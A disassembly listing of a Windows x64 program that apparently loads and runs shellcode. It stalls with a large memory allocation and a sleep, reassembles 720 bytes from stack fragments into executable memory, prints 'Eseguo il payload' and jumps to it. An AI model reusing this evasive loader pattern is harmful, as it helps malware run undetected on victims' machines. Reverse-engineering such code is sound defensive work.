call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0x9d8], 0
mov ecx, 0x5f5e100
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x9d8], rax
cmp qword [rbp + 0x9d8], 0
je 0x140014bc3
mov r8d, 0x5f5e100
xor edx, edx
mov rcx, qword [rbp + 0x9d8]
call fcn.1400113ca
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0xf
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x6f0]
call fcn.14001125d
lea rax, [rbp + 0x6fe]
mov r8d, 0xf
lea rdx, [rbp + 0x38]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x70c]
mov r8d, 0xf
lea rdx, [rbp + 0x68]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x71a]
mov r8d, 0xf
lea rdx, [rbp + 0x98]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x728]
mov r8d, 0xf
lea rdx, [rbp + 0xc8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x736]
mov r8d, 0xf
lea rdx, [rbp + 0xf8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x744]
mov r8d, 0xf
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x752]
mov r8d, 0xf
lea rdx, [rbp + 0x158]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x760]
mov r8d, 0xf
lea rdx, [rbp + 0x188]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x76e]
mov r8d, 0xf
lea rdx, [rbp + 0x1b8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x77c]
mov r8d, 0xf
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x78a]
mov r8d, 0xf
lea rdx, [rbp + 0x218]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x798]
mov r8d, 0xf
lea rdx, [rbp + 0x248]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x7a6]
mov r8d, 0xf
lea rdx, [rbp + 0x278]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x7b4]
mov r8d, 0xf
lea rdx, [rbp + 0x2a8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x7c2]
mov r8d, 0xf
lea rdx, [rbp + 0x2d8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x7d0]
mov r8d, 0xf
lea rdx, [rbp + 0x308]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x7de]
mov r8d, 0xf
lea rdx, [rbp + 0x338]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x7ec]
mov r8d, 0xf
lea rdx, [rbp + 0x368]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x7fa]
mov r8d, 0xf
lea rdx, [rbp + 0x398]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x808]
mov r8d, 0xf
lea rdx, [rbp + 0x3c8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x816]
mov r8d, 0xf
lea rdx, [rbp + 0x3f8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x824]
mov r8d, 0xf
lea rdx, [rbp + 0x428]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x832]
mov r8d, 0xf
lea rdx, [rbp + 0x458]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x840]
mov r8d, 0xf
lea rdx, [rbp + 0x488]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x84e]
mov r8d, 0xf
lea rdx, [rbp + 0x4b8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x85c]
mov r8d, 0xf
lea rdx, [rbp + 0x4e8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x86a]
mov r8d, 0xf
lea rdx, [rbp + 0x518]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x878]
mov r8d, 0xf
lea rdx, [rbp + 0x548]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x886]
mov r8d, 0xf
lea rdx, [rbp + 0x578]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x894]
mov r8d, 0xf
lea rdx, [rbp + 0x5a8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x8a2]
mov r8d, 0xf
lea rdx, [rbp + 0x5d8]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x8b0]
mov r8d, 0xf
lea rdx, [rbp + 0x608]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x8be]
mov r8d, 0xf
lea rdx, [rbp + 0x638]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x8cc]
mov r8d, 0xf
lea rdx, [rbp + 0x668]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x8da]
mov r8d, 0xf
lea rdx, [rbp + 0x698]
mov rcx, rax
call fcn.14001125d
lea rax, [rbp + 0x8e8]
mov r8d, 7
lea rdx, [rbp + 0x6c4]
mov rcx, rax
call fcn.14001125d
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x2d0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x9f8], rax
mov r8d, 1
lea rdx, [0x14001fa08]
lea rcx, [rbp + 0x6f0]
call fcn.14001125d
mov r8d, 0x2d0
lea rdx, [rbp + 0x6f0]
mov rcx, qword [rbp + 0x9f8]
call fcn.14001125d
lea rdx, str.__Eseguo_il_payload
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [rbp + 0x9f8]
mov rcx, qword [rbp + 0x9d8]
call qword [sym.imp.ucrtbased.dll_free]
jmp 0x140014bd4
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ee80]
call fcn.140011429
mov rax, rdi
mov rcx, qword [rbp + 0xe88]
xor rcx, rbp
call fcn.140011258
lea rsp, [rbp + 0xe90]
pop rdi
pop rsi
pop rbp
ret